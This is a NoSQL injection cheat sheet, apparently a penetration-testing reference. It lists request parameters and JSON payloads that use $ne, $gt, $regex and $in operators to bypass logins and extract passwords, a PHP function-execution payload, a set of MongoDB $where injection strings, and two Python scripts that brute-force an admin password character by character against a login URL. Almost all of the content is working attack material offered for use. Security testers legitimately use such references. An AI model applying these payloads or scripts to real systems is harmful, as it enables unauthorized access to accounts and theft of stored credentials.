## NoSQL injection

## Tools

* [NoSQLmap - Automated NoSQL database enumeration and web application exploitation tool](https://github.com/codingo/NoSQLMap)

## Exploit

### Authentication Bypass

Basic authentication bypass using not equal ($ne) or greater ($gt)

```
in the request
- username[$ne]=toto&password[$ne]=toto
- login[$regex]=a.*&pass[$ne]=lol
- login[$gt]=admin&login[$lt]=test&pass[$ne]=1
- login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto
```

```json
The output is
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
```

### Extract length information

```json
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
```

### Extract data information

```json
in URL
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
```

### Extract data with "in"

```json
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
```

### PHP Arbitrary Function Execution
```json
"user":{"$func": "var_dump"}
```

## Blind NoSQL

### POST

```python
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""
u="http://example.org/login"
headers={'content-type': 'application/json'}

while True:
    for c in string.printable:
        if c not in ['*','+','.','?','|']:
            payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
            r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
            if 'OK' in r.text or r.status_code == 302:
                print("Found one more char : %s" % (password+c))
                password += c
```

### GET

```python
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username='admin'
password=''
u='http://example.org/login'

while True:
  for c in string.printable:
    if c not in ['*','+','.','?','|', '#', '&', '$']:
      payload='?username=%s&password[$regex]=^%s' % (username, password + c)
      r = requests.get(u + payload)
      if 'Yeah' in r.text:
        print("Found one more char : %s" % (password+c))
        password += c
```

Another example using sleep to check vuln or not
```
'%2bsleep(1)%2b'
```

### MongoDB Payloads

```bash
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
```

## References

* [Hacktricks](https://book.hacktricks.xyz/pentesting-web/nosql-injection)
* [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/NoSQL%20Injection/README.md)